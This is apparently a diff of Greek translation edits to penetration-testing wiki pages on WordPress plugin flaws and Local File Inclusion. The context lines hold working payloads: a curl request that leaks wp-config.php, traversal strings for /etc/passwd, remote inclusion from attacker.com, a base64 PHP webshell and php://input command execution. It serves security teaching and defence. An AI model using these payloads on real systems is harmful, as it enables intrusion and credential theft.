Σε ευάλωτες εκδόσεις, αυτό αφαιρεί τους τρέχοντες ρόλους και επαναφέρει τους αποθηκευμένους αρχικούς ρόλους (π.χ., `administrator`), αυξάνοντας αποτελεσματικά τα δικαιώματα.
|
||||
Σε ευάλωτες εκδόσεις, αυτό αφαιρεί τους τρέχοντες ρόλους και επαναφέρει τους αποθηκευμένους αρχικούς ρόλους (π.χ., `administrator`), αυξάνοντας αποτελεσματικά τα προνόμια.
|
||||
|
||||
Λίστα ελέγχου ανίχνευσης
|
||||
|
||||
@ -500,19 +500,19 @@ curl -s -k -b 'wordpress_logged_in=...' \
|
||||
- Επιβάλλετε ελέγχους ικανοτήτων σε κάθε κλάδο που αλλάζει κατάσταση (π.χ., `current_user_can('manage_options')` ή αυστηρότερα).
|
||||
- Απαιτήστε nonces για όλες τις μετατροπές ρόλων/δικαιωμάτων και επαληθεύστε τα: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Ποτέ μην εμπιστεύεστε τα ονόματα χρηστών που παρέχονται από το αίτημα; επιλύστε τον στόχο χρήστη από την πλευρά του διακομιστή με βάση τον αυθεντικοποιημένο ηθοποιό και την ρητή πολιτική.
|
||||
- Ακυρώστε την κατάσταση “αρχικών ρόλων” κατά τις ενημερώσεις προφίλ/ρόλων για να αποφύγετε την παλαιά αποκατάσταση υψηλών δικαιωμάτων:
|
||||
- Ακυρώστε την κατάσταση “αρχικών ρόλων” κατά τις ενημερώσεις προφίλ/ρόλων για να αποφύγετε την παλαιά αποκατάσταση υψηλών προνομίων:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Σκεφτείτε να αποθηκεύετε ελάχιστη κατάσταση και να χρησιμοποιείτε περιορισμένα χρονικά, προστατευμένα από δυνατότητες tokens για προσωρινές αλλαγές ρόλου.
|
||||
- Σκεφτείτε να αποθηκεύσετε ελάχιστη κατάσταση και να χρησιμοποιήσετε περιορισμένα, προστατευμένα από ικανότητες tokens για προσωρινές αλλαγές ρόλου.
|
||||
|
||||
---
|
||||
|
||||
## WordPress Protection
|
||||
## Προστασία WordPress
|
||||
|
||||
### Regular Updates
|
||||
### Τακτικές Ενημερώσεις
|
||||
|
||||
Βεβαιωθείτε ότι το WordPress, τα plugins και τα θέματα είναι ενημερωμένα. Επίσης, επιβεβαιώστε ότι η αυτόματη ενημέρωση είναι ενεργοποιημένη στο wp-config.php:
|
||||
```bash
|
||||
@ -538,7 +538,7 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
|
||||
### Μη αυθεντική SQL Injection μέσω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2)
|
||||
|
||||
Το πρόσθετο πρόσληψης WP Job Portal αποκάλυψε μια εργασία **savecategory** που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο `modules/category/model.php::validateFormData()`:
|
||||
Το πρόσθετο WP Job Portal αποκάλυψε μια εργασία **savecategory** που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -551,7 +551,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
Issues introduced by this snippet:
|
||||
|
||||
1. **Μη απολυμάνθηκε είσοδος χρήστη** – `parentid` προέρχεται απευθείας από το HTTP αίτημα.
|
||||
2. **Συγκέντρωση συμβολοσειρών μέσα στη ρήτρα WHERE** – καμία `is_numeric()` / `esc_sql()` / προετοιμασμένη δήλωση.
|
||||
2. **Συγκέντρωση συμβολοσειρών μέσα στη ρήτρα WHERE** – δεν υπάρχει `is_numeric()` / `esc_sql()` / προετοιμασμένη δήλωση.
|
||||
3. **Μη αυθεντικοποιημένη προσβασιμότητα** – αν και η ενέργεια εκτελείται μέσω `admin-post.php`, ο μόνος έλεγχος που υπάρχει είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Εκμετάλλευση
|
||||
@ -579,7 +579,7 @@ $file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` είναι ελεγχόμενο από τον επιτιθέμενο και συνδυάζεται **χωρίς απολύμανση**. Και πάλι, η μόνη πύλη είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα βιογραφικού.
|
||||
`$file_name` είναι ελεγχόμενο από τον επιτιθέμενο και συνδυάζεται **χωρίς απολύμανση**. Και πάλι, η μόνη πύλη είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα βιογραφικού.
|
||||
|
||||
#### Εκμετάλλευση
|
||||
```bash
|
||||
@ -590,7 +590,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Ο διακομιστής απαντά με το περιεχόμενο του `wp-config.php`, leaking DB credentials και auth keys.
|
||||
Ο διακομιστής απαντά με το περιεχόμενο του `wp-config.php`, διαρρέοντας διαπιστευτήρια DB και κλειδιά αυθεντικοποίησης.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Συνδυάζοντας αρκετές λίστες LFI \*nix και προσθέτοντας περισσότερους διαδρόμους, δημιούργησα αυτήν:**
|
||||
**Συνδυάζοντας αρκετές λίστες LFI από \*nix και προσθέτοντας περισσότερους διαδρομές, δημιούργησα αυτήν:**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
@ -28,7 +28,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
Δοκιμάστε επίσης να αλλάξετε το `/` σε `\`\
|
||||
Δοκιμάστε επίσης να προσθέσετε `../../../../../`
|
||||
|
||||
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
@ -41,7 +41,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
Δοκιμάστε επίσης να αλλάξετε το `/` σε `\`\
|
||||
Δοκιμάστε επίσης να αφαιρέσετε το `C:/` και να προσθέσετε `../../../../../`
|
||||
|
||||
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
@ -95,11 +95,11 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει:
|
||||
- **Σφάλμα / Καμία Έξοδος:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
|
||||
- **Σφάλμα / Χωρίς Έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
|
||||
- **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
|
||||
4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
|
||||
|
||||
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν ο φάκελος `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων φάκελος είναι σε βάθος 3), χρησιμοποιήστε:
|
||||
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων κατάλογος είναι σε βάθος 3), χρησιμοποιήστε:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
@ -127,11 +127,11 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
|
||||
- **Χρησιμοποιώντας Τμήματα Τελείας και Πρόσθετους Χαρακτήρες**: Ακολουθίες διασχίσεων (`../`) σε συνδυασμό με επιπλέον τμήματα τελείας και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή.
|
||||
- **Καθορισμός του Απαιτούμενου Αριθμού Διασχίσεων**: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που απαιτούνται για να πλοηγηθεί στη ριζική καταχώρηση και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
|
||||
- **Ξεκινώντας με έναν Ψεύτικο Κατάλογο**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή.
|
||||
- **Ξεκινώντας με έναν Ψεύτικο Κατάλογο**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του διακομιστή.
|
||||
|
||||
Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομών, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομών του διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και οι δοκιμές είναι συχνά απαραίτητες για να βρεθεί η πιο αποτελεσματική μέθοδος.
|
||||
Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομής, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομής του διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και οι δοκιμές είναι συχνά απαραίτητες για να βρεθεί η πιο αποτελεσματική μέθοδος.
|
||||
|
||||
**Αυτή η ευπάθεια διορθώθηκε στην PHP 5.3.**
|
||||
**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.**
|
||||
|
||||
### **Τεχνικές παράκαμψης φίλτρων**
|
||||
```
|
||||
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE:
|
||||
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή γιατί **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
@ -153,7 +153,7 @@ http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο επιτιθέμενος χρειαζόταν μια συμβολοσειρά που να τελειώνει σε `.txt`, έτσι ώστε η συμβολοσειρά να τελειώνει με αυτό και μετά την αποκωδικοποίηση b64 εκείνο το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός κώδικας PHP θα συμπεριληφθεί (και επομένως, θα εκτελεστεί).
|
||||
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο επιτιθέμενος χρειαζόταν μια συμβολοσειρά που να τελειώνει σε `.txt`, έτσι ώστε η συμβολοσειρά να τελειώνει με αυτό και μετά την αποκωδικοποίηση b64, αυτό το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός κώδικας PHP θα συμπεριληφθεί (και επομένως, θα εκτελεστεί).
|
||||
|
||||
Ένα άλλο παράδειγμα **χωρίς τη χρήση του πρωτοκόλλου `php://`** θα ήταν:
|
||||
```
|
||||
@ -281,11 +281,11 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική γράμμα μαντεύεται σωστά** ώστε το php να προκαλέσει ένα **σφάλμα**.
|
||||
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός**, έτσι μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός.
|
||||
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι εξαγωνικός χαρακτήρας. Διότι αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.
|
||||
- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `α` για παράδειγμα, διότι αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ->η το γράμμα δεν είναι πια εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php προκαλείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
|
||||
- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `α` για παράδειγμα, διότι αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ->η το γράμμα δεν είναι πια εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
|
||||
- Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως ν, ο, π, ρ, σ (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών).
|
||||
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, χρειάζεται να τον κωδικοποιήσουμε σε base64 και να διαρρεύσουμε τα 2 πρώτα γράμματα για να διαρρεύσουμε τον αριθμό.
|
||||
- Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
|
||||
- Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στρέψουμε με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
|
||||
- Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στραφεί με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
|
||||
|
||||
Στην ανάρτηση διαρρεύθηκε επίσης ένα εργαλείο για να το εκτελεί αυτό αυτόματα: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -343,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια διαδικτυακή εφαρμογή εκμεταλλεύεται συναρτήσεις όπως το `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
|
||||
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια διαδικτυακή εφαρμογή εκμεταλλεύεται συναρτήσεις όπως `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -356,9 +356,9 @@ $phar->stopBuffering();
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με το όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).
|
||||
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).
|
||||
|
||||
Σε περιπτώσεις όπου το LFI εκτελεί μόνο ανάγνωση αρχείων χωρίς να εκτελεί τον PHP κώδικα μέσα σε αυτά, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, θα μπορούσε να επιχειρηθεί η εκμετάλλευση μιας ευπάθειας αποσυμπίεσης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
|
||||
Σε περιπτώσεις όπου το LFI εκτελεί μόνο ανάγνωση αρχείων χωρίς να εκτελεί τον PHP κώδικα εντός τους, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, θα μπορούσε να επιχειρηθεί η εκμετάλλευση μιας ευπάθειας αποσυμπίεσης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
|
||||
|
||||
Για μια λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσυμπίεσης στο πλαίσιο των αρχείων `.phar`, ανατρέξτε στο έγγραφο που συνδέεται παρακάτω:
|
||||
|
||||
@ -389,13 +389,13 @@ phar-deserialization.md
|
||||
|
||||
## LFI μέσω της 'assert' της PHP
|
||||
|
||||
Οι κίνδυνοι Local File Inclusion (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη συνάρτηση 'assert', η οποία μπορεί να εκτελεί κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά.
|
||||
Οι κίνδυνοι Local File Inclusion (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη συνάρτηση 'assert', η οποία μπορεί να εκτελεί κώδικα εντός συμβολοσειρών. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά.
|
||||
|
||||
Για παράδειγμα, ο PHP κώδικας μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
|
||||
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διάνυσμα για την έγχυση κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
|
||||
Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διανύσμα για την έγχυση κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -418,7 +418,7 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
|
||||
**Λειτουργίες που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Για τις τεχνικές λεπτομέρειες ελέγξτε το αναφερόμενο άρθρο!
|
||||
Για τις τεχνικές λεπτομέρειες, ελέγξτε το αναφερόμενο άρθρο!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
@ -432,7 +432,7 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → ρίξτε `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → ρίξτε `shell.aspx`
|
||||
- Δημιουργήστε μια διαδρομή traversal που σπάει από τον προορισμένο κατάλογο αποθήκευσης στο webroot και συμπεριλάβετε το περιεχόμενο της webshell σας.
|
||||
- Δημιουργήστε μια διαδρομή traversal που σπάει έξω από τον προορισμένο κατάλογο αποθήκευσης στο webroot και συμπεριλάβετε το περιεχόμενο της webshell σας.
|
||||
- Περιηγηθείτε στο ρίχτη payload και εκτελέστε εντολές.
|
||||
|
||||
Σημειώσεις:
|
||||
@ -503,7 +503,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
### Μέσω /proc/\*/fd/\*
|
||||
|
||||
1. Ανεβάστε πολλές shells (για παράδειγμα: 100)
|
||||
2. Συμπεριλάβετε [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διαδικασίας (μπορεί να γίνει brute force) και $FD τον file descriptor (μπορεί επίσης να γίνει brute force)
|
||||
2. Συμπεριλάβετε [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διαδικασίας (μπορεί να βρεθεί με brute force) και $FD τον file descriptor (μπορεί επίσης να βρεθεί με brute force)
|
||||
|
||||
### Μέσω /proc/self/environ
|
||||
|
||||
@ -526,7 +526,7 @@ http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Μέσω PHP συνεδριών
|
||||
### Via PHP sessions
|
||||
|
||||
Ελέγξτε αν η ιστοσελίδα χρησιμοποιεί PHP Session (PHPSESSID)
|
||||
```
|
||||
@ -559,7 +559,7 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
Όπως φαίνεται σε [αυτό](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) το άρθρο, το PHP base64 filter απλά αγνοεί τα μη base64. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο της επέκτασης αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει απλά το "." και θα προσθέσει "php" στο base64. Ακολουθεί ένα παράδειγμα payload:
|
||||
Όπως φαίνεται σε [αυτό](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) το άρθρο, το PHP base64 filter απλώς αγνοεί τα μη base64. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο της επέκτασης αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει απλώς το "." και θα προσθέσει "php" στο base64. Ακολουθεί ένα παράδειγμα payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -567,7 +567,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php code** για την συμπερίληψη **χωρίς να χρειάζεται να το γράψετε** σε ένα αρχείο.
|
||||
Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php κώδικα** για την συμπερίληψη **χωρίς να χρειάζεται να τον γράψετε** σε ένα αρχείο.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -575,7 +575,7 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### Via segmentation fault
|
||||
|
||||
**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια, στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
|
||||
**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
